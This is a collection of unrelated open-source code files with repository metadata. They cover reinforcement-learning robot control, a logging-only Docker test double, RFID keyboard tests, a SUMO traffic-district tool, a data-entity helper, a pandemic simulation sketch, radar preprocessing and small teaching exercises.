critic.predict_target( s2_batch, actor.predict_target(s2_batch)) y_i = [] for k in range(int(args['minibatch_size'])): if t_batch[k]: y_i.append(r_batch[k]) else: y_i.append(r_batch[k] + critic.gamma * target_q[k]) # Update the critic given the targets predicted_q_value, _ = critic.train( s_batch, a_batch, np.reshape(y_i, (int(args['minibatch_size']), 1))) ep_ave_max_q += np.amax(predicted_q_value) # Update the actor policy using the sampled gradient a_outs = actor.predict(s_batch) grads = critic.action_gradients(s_batch, a_outs) actor.train(s_batch, grads[0]) # Update target networks actor.update_target_network() critic.update_target_network() s = s2 ep_reward += r if terminal: summary_str = sess.run(summary_ops, feed_dict={ summary_vars[0]: ep_reward, summary_vars[1]: ep_ave_max_q / float(j) }) writer.add_summary(summary_str, i) writer.flush() print('| Reward: {:d} | Episode: {:d} | Qmax: {:.4f}'.format(int(ep_reward), \ i, (ep_ave_max_q / float(j)))) break def main(): with tf.Session() as sess: print("Starte BallTrackerThread") global delta thread1 = ballTracker.BallTrackerThread() thread1.start() print("Main running...") session = Pepper.init(ip, port) Pepper.roboInit(session) # Ensure action bound is symmetric # assert (env.action_space.high == -env.action_space.low) actor = ActorNetwork(sess, state_dim, action_dim, action_bound, float(args['actor_lr']), float(args['tau']), int(args['minibatch_size'])) critic = CriticNetwork(sess, state_dim, action_dim, float(args['critic_lr']), float(args['tau']), float(args['gamma']), actor.get_num_trainable_vars()) actor_noise = OrnsteinUhlenbeckActionNoise(mu=np.zeros(action_dim)) if args['mode'] == 'INIT': saver = tf.train.Saver() train(sess, args, actor, critic, actor_noise, False, saver) elif args['mode'] == 'TRAIN': saver = tf.train.Saver() saver.restore(sess, args['model'] + "/model") train(sess, args, actor, critic, actor_noise, True, saver) elif args['mode'] == 'TEST': saver = tf.train.Saver() saver.restore(sess, args['model'] + "/model") testDDPG(sess, args, actor, critic, actor_noise) else: print('No mode defined!') #train(sess, session, thread1, args, actor, critic, actor_noise) print('Terminated') if __name__ == '__main__': main()
34.778947
113
0.533596
0cbd80680fb701cb2cd5aab04995f4cfe4bef510
3,133
py
Python
workspace/cogrob/service_manager/model/fake_docker_py.py
CogRob/Rorg
dbf9d849e150404c117f6f0062476d995cec7316
[ "BSD-3-Clause" ]
8
2019-05-07T02:30:58.000Z
2021-12-10T18:44:45.000Z
workspace/cogrob/service_manager/model/fake_docker_py.py
CogRob/Rorg
dbf9d849e150404c117f6f0062476d995cec7316
[ "BSD-3-Clause" ]
1
2021-03-17T07:18:23.000Z
2021-03-17T07:18:23.000Z
workspace/cogrob/service_manager/model/fake_docker_py.py
CogRob/Rorg
dbf9d849e150404c117f6f0062476d995cec7316
[ "BSD-3-Clause" ]
2
2019-05-21T14:15:24.000Z
2022-02-09T12:50:24.000Z
# Copyright (c) 2019, The Regents of the University of California # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the University of California nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OF THE UNIVERSITY OF CALIFORNIA # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. from absl import logging from cogrob.service_manager.model import docker_interface class FakeDockerContainer(docker_interface.DockerContainerInterface): def Start(self, *args, **kwargs): logging.info("FakeDockerContainer.Start: args=%s; kwargs=%s", str(args), str(kwargs)) return None def Stop(self, *args, **kwargs): logging.info("FakeDockerContainer.Stop: args=%s; kwargs=%s", str(args), str(kwargs)) return None def Restart(self, *args, **kwargs): logging.info("FakeDockerContainer.Restart: args=%s; kwargs=%s", str(args), str(kwargs)) return None def Remove(self, *args, **kwargs): logging.info("FakeDockerContainer.Remove: args=%s; kwargs=%s", str(args), str(kwargs)) return None def Stats(self, *args, **kwargs): raise NotImplementedError("FakeDockerContainer does not support Stats") class FakeDockerClient(docker_interface.DockerClientInterface): def GetContainer(self, *args, **kwargs): logging.info("FakeDockerClient.GetContainer: args=%s; kwargs=%s", str(args), str(kwargs)) return FakeDockerContainer() def CreateContainer(self, *args, **kwargs): logging.info("FakeDockerClient.CreateContainer: args=%s; kwargs=%s", str(args), str(kwargs)) return FakeDockerContainer() def GetGlobalFakeDockerClient(): if not hasattr(GetGlobalFakeDockerClient, "_inst"): GetGlobalFakeDockerClient._inst = FakeDockerClient() return GetGlobalFakeDockerClient._inst
40.166667
79
0.737312
0b6962b42ca999113262e875d058129ce24dc95c
661
py
Python
src/onegov/user/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/user/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/user/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import logging log = logging.getLogger('onegov.user') # noqa log.addHandler(logging.NullHandler()) # noqa from translationstring import TranslationStringFactory _ = TranslationStringFactory('onegov.user') # noqa from onegov.user.auth import Auth from onegov.user.collections import UserCollection from onegov.user.collections import UserGroupCollection from onegov.user.integration import UserApp from onegov.user.models import User from onegov.user.models import UserGroup from onegov.user.models import RoleMapping __all__ = [ 'Auth', 'RoleMapping', 'User', 'UserApp', 'UserCollection', 'UserGroup', 'UserGroupCollection', ]
26.44
55
0.770045
f03003f73c20fa73fd1b16b23e13a11eac685cce
2,876
py
Python
pytest/devices/test_rfid_keyboard.py
andino-systems/andinopy
28fc09fbdd67dd690b9b3f80f03a05c342c777e1
[ "Apache-2.0" ]
null
null
null
pytest/devices/test_rfid_keyboard.py
andino-systems/andinopy
28fc09fbdd67dd690b9b3f80f03a05c342c777e1
[ "Apache-2.0" ]
null
null
null
pytest/devices/test_rfid_keyboard.py
andino-systems/andinopy
28fc09fbdd67dd690b9b3f80f03a05c342c777e1
[ "Apache-2.0" ]
null
null
null
# _ _ _ # / \ _ __ __| (_)_ __ ___ _ __ _ _ # / _ \ | '_ \ / _` | | '_ \ / _ \| '_ \| | | | # / ___ \| | | | (_| | | | | | (_) | |_) | |_| | # /_/ \_\_| |_|\__,_|_|_| |_|\___/| .__/ \__, | # |_| |___/ # by Jakob Groß import sys import time from unittest import TestCase import unittest from andinopy.interfaces.rfid_keyboard_interface import rfid_keyboard_interface def get_rfid_keyboard(): if sys.platform == "linux": from andinopy.base_devices.rfid_keyboard.rfid_keyboard_i2c import rfid_keyboard_i2c return rfid_keyboard_i2c() else: from andinopy.base_devices.rfid_keyboard.rfid_keyboard_serial import rfid_keyboard_serial return rfid_keyboard_serial() class test_key_rfid(TestCase): def test_number_keys(self): rfid_keyboard: rfid_keyboard_interface = get_rfid_keyboard() expected = [str(i) for i in range(0, 10)] real = [] def keyboard_button(char): print(char, end="") real.append(char) rfid_keyboard.on_keyboard_button = keyboard_button try: print("Press Buttons 0 to 9 in ascending order") rfid_keyboard.start() while len(real) != len(expected): time.sleep(0.1) self.assertEqual(expected, real) finally: rfid_keyboard.stop() def test_function_buttons(self): rfid_keyboard: rfid_keyboard_interface = get_rfid_keyboard() expected = ["F" + str(i) for i in range(1, 7)] real = [] def keyboard_button(char): print(char, end="") real.append(char) rfid_keyboard.on_function_button = keyboard_button try: print("Press Buttons F1 to F6 in ascending order") rfid_keyboard.start() while len(real) != len(expected): time.sleep(0.1) self.assertEqual(expected, real) finally: rfid_keyboard.stop() def test_buzz(self): rfid_keyboard: rfid_keyboard_interface = get_rfid_keyboard() try: rfid_keyboard.start() rfid_keyboard.buzz_display(1000) self.assertEqual(input("Did you hear the buzz? y/n"), "y") finally: rfid_keyboard.stop() def test_rfid(self): rfid_keyboard: rfid_keyboard_interface = get_rfid_keyboard() rfids = [] def on_rfid(rfid): print(rfid) rfids.append(rfid) try: rfid_keyboard.on_rfid_string = on_rfid rfid_keyboard.start() print("Scan RFID-Card") while len(rfids) == 0: time.sleep(0.1) self.assertIn(rfids[0], ["2457002B", "63915203", "A97784C1"]) finally: rfid_keyboard.stop()
31.955556
97
0.565369
b2e2c67c8d981f61d760b64ca4de2d070c3d9efd
839
py
Python
BITs/2014/Shmireychik_S_V/task_7_17.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Shmireychik_S_V/task_7_17.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Shmireychik_S_V/task_7_17.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача №7. Вариант 17 #Программа в которой компьютер загадывает название одного из пяти космических челноков проекта Спейс шаттл, а игрок должен его угадать. #Если он угадывает,то получает баллы. Если не угадывает,то отномаются. #Шмирейчик С.В. #01.04.2016 import random SpaceShuttles=('Колумбия','Челленджер','Дискавери','Атлантис','Индевор') SpaceShuttle=random.randint(0,4) rand=SpaceShuttles[SpaceShuttle] Ball=100 print("я загадал одного из пяти космических челноков проекта Спейс шаттл") #print (rand) otvet=0 while(otvet)!=(rand): otvet=input("Введате одно название космических челноков проекта Спейс шаттл") if(otvet)!=(rand): print("Вы не угадали. Попробуйте снова.") Ball/=2 elif(otvet)==(rand): print("Вы угадали.") print("ваши баллы:"+str(Ball)) break input("Нажмите enter для выхода")
33.56
136
0.735399
0453d24f5ad24d7fddb6040a6a4969a1cc8dcdfc
307
py
Python
exercises/zh/exc_01_08_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/zh/exc_01_08_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/zh/exc_01_08_01.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy nlp = spacy.load("zh_core_web_sm") text = "写入历史了:苹果是美国第一家市值超过一万亿美元的上市公司。" # 处理文本 doc = ____ for token in doc: # 获取词符文本、词性标注及依存关系标签 token_text = ____.____ token_pos = ____.____ token_dep = ____.____ # 规范化打印的格式 print(f"{token_text:<12}{token_pos:<10}{token_dep:<10}")
18.058824
60
0.680782
acb840d0a0fb5fd2a00b2203e4c42ce13fda0033
10,579
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/edgesInDistricts.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/edgesInDistricts.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/edgesInDistricts.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2007-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.eclipse.org/legal/epl-2.0/ # This Source Code may also be made available under the following Secondary # Licenses when the conditions for such availability set forth in the Eclipse # Public License 2.0 are satisfied: GNU General Public License, version 2 # or later which is available at # https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0-or-later # @file edgesInDistricts.py # @author Daniel Krajzewicz # @author Michael Behrisch # @author Jakob Erdmann # @date 2007-07-26 """ Parsing a number of networks and taz (district) files with shapes this script writes a taz file with all the edges which are inside the relevant taz. """ from __future__ import print_function from __future__ import absolute_import import os import sys import argparse import collections from xml.sax import parse sys.path.append(os.path.join(os.environ["SUMO_HOME"], 'tools')) import sumolib # noqa # written into the net. All members are "private". class DistrictEdgeComputer: def __init__(self, net): self._net = net self._districtEdges = collections.defaultdict(list) self._edgeDistricts = collections.defaultdict(list) self._invalidatedEdges = set() def computeWithin(self, polygons, options): districtBoxes = {} for district in polygons: districtBoxes[district.id] = district.getBoundingBox() for idx, edge in enumerate(self._net.getEdges()): shape = edge.getShape() if (edge.getSpeed() < options.maxspeed and edge.getSpeed() > options.minspeed and (options.internal or edge.getFunction() != "internal")): if options.vclass is None or edge.allows(options.vclass): if options.assign_from: xmin, ymin = shape[0] xmax, ymax = shape[0] else: xmin, ymin, xmax, ymax = edge.getBoundingBox() for district in polygons: dxmin, dymin, dxmax, dymax = districtBoxes[district.id] if dxmin <= xmax and dymin <= ymax and dxmax >= xmin and dymax >= ymin: if options.assign_from: if sumolib.geomhelper.isWithin(shape[0], district.shape): self._districtEdges[district].append(edge) self._edgeDistricts[edge].append(district) break else: for pos in shape: if sumolib.geomhelper.isWithin(pos, district.shape): self._districtEdges[ district].append(edge) self._edgeDistricts[ edge].append(district) break if options.verbose and idx % 100 == 0: sys.stdout.write("%s/%s\r" % (idx, len(self._net.getEdges()))) if options.complete: for edge in self._edgeDistricts: if len(self._edgeDistricts[edge]) > 1: self._invalidatedEdges.add(edge) def getEdgeDistrictMap(self): result = {} for edge, districts in self._edgeDistricts.items(): if len(districts) == 1: result[edge] = districts[0] return result def writeResults(self, options): fd = open(options.output, "w") sumolib.xml.writeHeader(fd, "$Id$", "tazs", "taz_file.xsd") # noqa lastId = None lastEdges = set() key = (lambda i: i[0].attributes[options.merge_param]) if options.merge_param else None for idx, (district, edges) in enumerate(sorted(self._districtEdges.items(), key=key)): filtered = [edge for edge in edges if edge not in self._invalidatedEdges and edge.getLength() > options.min_length] if len(filtered) == 0: print("District '" + district.id + "' has no edges!") else: if options.weighted: if options.shapeinfo: color = ' color="%s"' % district.color if district.color is not None else '' fd.write(' <taz id="%s" shape="%s"%s>\n' % (district.id, district.getShapeString(), color)) else: fd.write(' <taz id="%s">\n' % district.id) for edge in filtered: weight = edge.getSpeed() * edge.getLength() fd.write( ' <tazSource id="%s" weight="%.2f"/>\n' % (edge.getID(), weight)) fd.write( ' <tazSink id="%s" weight="%.2f"/>\n' % (edge.getID(), weight)) fd.write(" </taz>\n") else: if options.shapeinfo: fd.write(' <taz id="%s" shape="%s" edges="%s"/>\n' % (district.id, district.getShapeString(), " ".join([e.getID() for e in filtered]))) else: currentId = district.id if options.merge_param is not None: currentId = district.attributes[options.merge_param] if options.merge_separator is not None and options.merge_separator in currentId: currentId = currentId[:currentId.index(options.merge_separator)] if lastId is not None: if lastId == currentId: lastEdges.update(filtered) else: fd.write(' <taz id="%s" edges="%s"/>\n' % (lastId, " ".join(sorted([e.getID() for e in lastEdges])))) lastId = None if lastId is None: lastId = currentId lastEdges = set(filtered) if options.verbose and idx % 100 == 0: sys.stdout.write("%s/%s\r" % (idx, len(self._districtEdges))) if lastId is not None: fd.write(' <taz id="%s" edges="%s"/>\n' % (lastId, " ".join(sorted([e.getID() for e in lastEdges])))) fd.write("</tazs>\n") fd.close() def getTotalLength(self, edgeID): edge = self._net.getEdge(edgeID) return edge.getLength() * edge.getLaneNumber() def fillOptions(argParser): argParser.add_argument("-v", "--verbose", action="store_true", default=False, help="tell me what you are doing") argParser.add_argument("--complete", action="store_true", default=False, help="assign edges only if they are not in more than one district") argParser.add_argument("-n", "--net-file", help="read SUMO network from FILE (mandatory)", metavar="FILE") argParser.add_argument("-t", "--taz-files", help="read districts from FILEs", metavar="FILE") argParser.add_argument("-o", "--output", default="districts.taz.xml", help="write results to FILE", metavar="FILE") argParser.add_argument("-x", "--max-speed", type=float, dest="maxspeed", default=1000.0, help="use lanes where speed is not greater than this (m/s)") argParser.add_argument("-m", "--min-speed", type=float, dest="minspeed", default=0., help="use lanes where speed is greater than this (m/s)") argParser.add_argument("-w", "--weighted", action="store_true", default=False, help="Weights sources/sinks by lane number and length") argParser.add_argument("-f", "--assign-from", action="store_true", default=False, help="Assign the edge always to the district where the \"from\" node " + "is located") argParser.add_argument("-i", "--internal", action="store_true", default=False, help="Include internal edges in output") argParser.add_argument("-l", "--vclass", help="Include only edges allowing VCLASS") argParser.add_argument("-s", "--shapeinfo", action="store_true", default=False, help="write also the shape info in the file") argParser.add_argument("--merge-separator", help="merge edge lists of taz starting with the same string up to the given separator") argParser.add_argument("--merge-param", help="merge edge lists of taz/polygons having the same value for the given parameter") argParser.add_argument("--min-length", type=float, default=0., help="use edges where length is greater than this (m)") def parse_args(args=None): argParser = sumolib.options.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) fillOptions(argParser) return argParser.parse_args(args), argParser if __name__ == "__main__": options, argParser = parse_args() if not options.net_file: argParser.print_help() argParser.exit("Error! Providing a network is mandatory") if options.verbose: print("Reading net '" + options.net_file + "'") nets = options.net_file.split(",") if len(nets) > 1: print("Warning! Multiple networks specified. Parsing the first one for edges and tazs, the others for " + "taz only.") reader = DistrictEdgeComputer(sumolib.net.readNet(nets[0])) tazFiles = nets + options.taz_files.split(",") polyReader = sumolib.shapes.polygon.PolygonReader(True) for tf in tazFiles: parse(tf, polyReader) if options.verbose: print("Calculating") reader.computeWithin(polyReader.getPolygons(), options) if options.verbose: print("Writing results") reader.writeResults(options)
50.617225
116
0.556291
7663425b68b7527889b4ebdf44ca5be51741c84a
6,953
py
Python
packages/watchmen-data-kernel/src/watchmen_data_kernel/storage/data_entity_helper.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/storage/data_entity_helper.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-kernel/src/watchmen_data_kernel/storage/data_entity_helper.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from abc import abstractmethod from datetime import datetime from typing import Any, Dict, List, Optional, Tuple from watchmen_auth import PrincipalService from watchmen_data_kernel.topic_schema import TopicSchema from watchmen_model.admin import Topic from watchmen_model.common import Pageable, TenantId from watchmen_model.pipeline_kernel import TopicDataColumnNames from watchmen_storage import ColumnNameLiteral, EntityColumnName, EntityCriteria, EntityCriteriaExpression, \ EntityDeleter, EntityDistinctValuesFinder, EntityFinder, EntityHelper, EntityIdHelper, EntityPager, EntitySort, \ EntityStraightColumn, EntityStraightValuesFinder, EntityUpdate, EntityUpdater, SnowflakeGenerator from .shaper import TopicShaper class TopicDataEntityHelper: """ use topic id as entity name """ def __init__(self, schema: TopicSchema): self.schema = schema self.shaper = self.create_entity_shaper(schema) self.entityHelper = EntityHelper(name=self.schema.get_topic().topicId, shaper=self.shaper) self.entityIdHelper = EntityIdHelper( name=self.schema.get_topic().topicId, shaper=self.shaper, idColumnName=TopicDataColumnNames.ID.value ) def get_schema(self) -> TopicSchema: return self.schema def get_topic(self) -> Topic: return self.schema.get_topic() def get_entity_name(self) -> str: return self.get_entity_helper().name @abstractmethod def create_entity_shaper(self, schema: TopicSchema) -> TopicShaper: pass def get_entity_shaper(self) -> TopicShaper: return self.shaper def get_column_name(self, factor_name: str) -> Optional[str]: return self.shaper.get_mapper().get_column_name(factor_name) def get_factor_name(self, column_name: str) -> Optional[str]: return self.shaper.get_mapper().get_factor_name(column_name) def get_entity_helper(self) -> EntityHelper: return self.entityHelper def serialize_to_storage(self, data: Dict[str, Any]) -> Dict[str, Any]: return self.get_entity_helper().shaper.serialize(data) def deserialize_to_memory(self, data: Dict[str, Any]) -> Dict[str, Any]: return self.get_entity_helper().shaper.deserialize(data) def get_entity_id_helper(self) -> EntityIdHelper: return self.entityIdHelper def get_entity_finder(self, criteria: EntityCriteria, sort: Optional[EntitySort] = None) -> EntityFinder: entity_helper = self.get_entity_helper() return EntityFinder( name=entity_helper.name, shaper=entity_helper.shaper, criteria=criteria, sort=sort ) def get_entity_pager( self, criteria: EntityCriteria, pageable: Pageable, sort: Optional[EntitySort] = None) -> EntityPager: entity_helper = self.get_entity_helper() return EntityPager( name=entity_helper.name, shaper=entity_helper.shaper, criteria=criteria, sort=sort, pageable=pageable ) def get_distinct_values_finder( self, criteria: EntityCriteria, column_names: List[EntityColumnName], sort: Optional[EntitySort] = None, distinct_value_on_single_column: bool = False) -> EntityDistinctValuesFinder: entity_helper = self.get_entity_helper() return EntityDistinctValuesFinder( name=entity_helper.name, shaper=entity_helper.shaper, criteria=criteria, sort=sort, distinctColumnNames=column_names, distinctValueOnSingleColumn=distinct_value_on_single_column ) def get_straight_values_finder( self, criteria: EntityCriteria, columns: List[EntityStraightColumn], sort: Optional[EntitySort] = None) -> EntityStraightValuesFinder: entity_helper = self.get_entity_helper() return EntityStraightValuesFinder( name=entity_helper.name, shaper=entity_helper.shaper, criteria=criteria, sort=sort, straightColumns=columns ) def get_entity_updater(self, criteria: EntityCriteria, update: EntityUpdate) -> EntityUpdater: entity_helper = self.get_entity_helper() return EntityUpdater( name=entity_helper.name, shaper=entity_helper.shaper, criteria=criteria, update=update ) def get_entity_deleter(self, criteria: EntityCriteria) -> EntityDeleter: entity_helper = self.get_entity_helper() return EntityDeleter( name=entity_helper.name, shaper=entity_helper.shaper, criteria=criteria ) # noinspection PyMethodMayBeStatic def find_data_id(self, data: Dict[str, Any]) -> Tuple[bool, Optional[int]]: """ find data if from given data dictionary. """ id_ = data.get(TopicDataColumnNames.ID.value) return id_ is not None, id_ def build_id_criteria(self, data: Dict[str, Any]) -> Optional[EntityCriteriaExpression]: """ return none when id not found """ has_id, id_ = self.find_data_id(data) if not has_id: return None else: return EntityCriteriaExpression(left=ColumnNameLiteral(columnName=TopicDataColumnNames.ID.value), right=id_) # noinspection PyMethodMayBeStatic def assign_id_column(self, data: Dict[str, Any], id_value: int) -> None: data[TopicDataColumnNames.ID.value] = id_value @abstractmethod def is_versioned(self) -> bool: pass @abstractmethod def find_version(self, data: Dict[str, Any]) -> int: pass @abstractmethod def build_version_criteria(self, data: Dict[str, Any]) -> Optional[EntityCriteriaExpression]: """ return none when topic is not versioned or version not found """ pass @abstractmethod def assign_version(self, data: Dict[str, Any], version: int) -> None: """ default ignore version assignment """ pass # noinspection PyMethodMayBeStatic def assign_tenant_id(self, data: Dict[str, Any], tenant_id: TenantId) -> None: data[TopicDataColumnNames.TENANT_ID.value] = tenant_id # noinspection PyMethodMayBeStatic def find_insert_time(self, data: Dict[str, Any]) -> Optional[datetime]: return data.get(TopicDataColumnNames.INSERT_TIME.value) # noinspection PyMethodMayBeStatic def assign_insert_time(self, data: Dict[str, Any], insert_time: datetime) -> None: data[TopicDataColumnNames.INSERT_TIME.value] = insert_time # noinspection PyMethodMayBeStatic def find_update_time(self, data: Dict[str, Any]) -> Optional[datetime]: return data.get(TopicDataColumnNames.UPDATE_TIME.value) # noinspection PyMethodMayBeStatic def assign_update_time(self, data: Dict[str, Any], update_time: datetime) -> None: data[TopicDataColumnNames.UPDATE_TIME.value] = update_time def assign_fix_columns_on_create( self, data: Dict[str, Any], snowflake_generator: SnowflakeGenerator, principal_service: PrincipalService, now: datetime ) -> None: self.assign_id_column(data, snowflake_generator.next_id()) self.assign_tenant_id(data, principal_service.get_tenant_id()) self.assign_insert_time(data, now) self.assign_update_time(data, now) self.assign_version(data, 1) def assign_fix_columns_on_update( self, data: Dict[str, Any], principal_service: PrincipalService, now: datetime, version: int ) -> None: self.assign_tenant_id(data, principal_service.get_tenant_id()) self.assign_update_time(data, now) self.assign_version(data, version)
32.643192
114
0.773048
76820d15e20b67d348882395aa318736b0fbc3da
2,218
py
Python
sketches/pandemie_simulation/human.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/pandemie_simulation/human.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/pandemie_simulation/human.py
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
from random import randint class Human: def __init__(self, x, y): self.x = x self.y = y self.radius = 5 self.state = 0 # State: 0 = normal, 1 = infected, 2 = recovered, 3 = dead self.time_to_cure = 2000 self.chance_to_die = 0.25 self.movement_rate = 3 def update(self): if self.state != 3: # Only move if not dead x_old = self.x # Store last x position y_old = self.y # Store last y position self.x += randint(-self.movement_rate, self.movement_rate) self.y += randint(-self.movement_rate, self.movement_rate) # Check border if (self.x <= self.radius or self.x >= width - self.radius): self.x = x_old # Back to the old x position if (self.y <= self.radius or self.y >= height - self.radius): self.y = y_old # Back to the old y position if self.state == 1: # Only reduce time_to_cure if infected self.time_to_cure -= 1 if self.state == 1 and self.time_to_cure <= 1: # Recover or die if random(1.0) > self.chance_to_die: self.state = 2 # Recover else: self.state = 3 # Die def show(self): stroke(255) if self.state == 3: noFill() # Dead, white ring elif self.state == 2: fill(0, 200, 0) # Recoverd, green circle elif self.state == 1: fill(200, 0, 0) # Infected, red circle else: fill(255) # Normal, white circle circle(self.x, self.y, 2*self.radius) def collision(self, other): if self != other: distance = dist(self.x, self.y, other.x, other.y) if distance <= self.radius + other.radius: # One object must be infected and one object must be normal if self.state == 1 and other.state == 0: other.state = 1 # Set the normal to infected elif self.state == 0 and other.state == 1: self.state == 1 # Set the normal to infected
41.074074
90
0.512173
4fcd0e7c5afdccc5ec247a388e26e5450b2b6d5c
1,399
py
Python
start.py
dreaming-coder/RadarSet
c912298d0d6058c6647986524e5d95a205b51c1d
[ "MIT" ]
null
null
null
start.py
dreaming-coder/RadarSet
c912298d0d6058c6647986524e5d95a205b51c1d
[ "MIT" ]
null
null
null
start.py
dreaming-coder/RadarSet
c912298d0d6058c6647986524e5d95a205b51c1d
[ "MIT" ]
null
null
null
from service.DatasetService import create_dataset_with_rainy_days, create_extrapolation_dataset from service.MeteorologyService import extract_meteorology, compute_rain_6_min from src.log import logger from service import filter_sequence from service.RadarService import extract_background_noise, extract_systematic_mask from settings import src, preprocess_dir, mask_dir, preprocessed_data, dataset, extrapolation if __name__ == '__main__': # ==========================================预处理气象要素====================================== # 读取 J 文件,存储到数据库中(包括站点经纬度对应的 Radar 图的下标索引) # extract_meteorology() # 计算后 6 分钟降雨量之和,为 mm/6min,转换为 mm/h # compute_rain_6_min() # ==========================================预处理雷达回波图====================================== # sequence filtering # logger.info("开始预处理雷达数据") # filter_sequence(src=src, dest=preprocess_dir) # background noise # logger.info("生成背景噪声") # extract_background_noise(dest=mask_dir, num_workers=4) # systematic noise mask # logger.info("求出系统噪声") # extract_systematic_mask(dest=mask_dir, p=0.2, num_workers=2) # # logger.info("雷达数据处理完成") # logger.info("雷达外推数据集制作") # create_dataset_with_rainy_days() # logger.info("雷达外推数据集制作完成") logger.info("雷达外推数据集划分") create_extrapolation_dataset(src=preprocessed_data, dest=extrapolation) logger.info("雷达外推数据集划分完成")
34.975
95
0.664761
4ffb8914a43e1d6f36a4efd62e11b5de38374063
1,209
py
Python
Theories/Algorithms/Recursion2/NQueensII/n_queen_ii.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Theories/Algorithms/Recursion2/NQueensII/n_queen_ii.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Theories/Algorithms/Recursion2/NQueensII/n_queen_ii.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
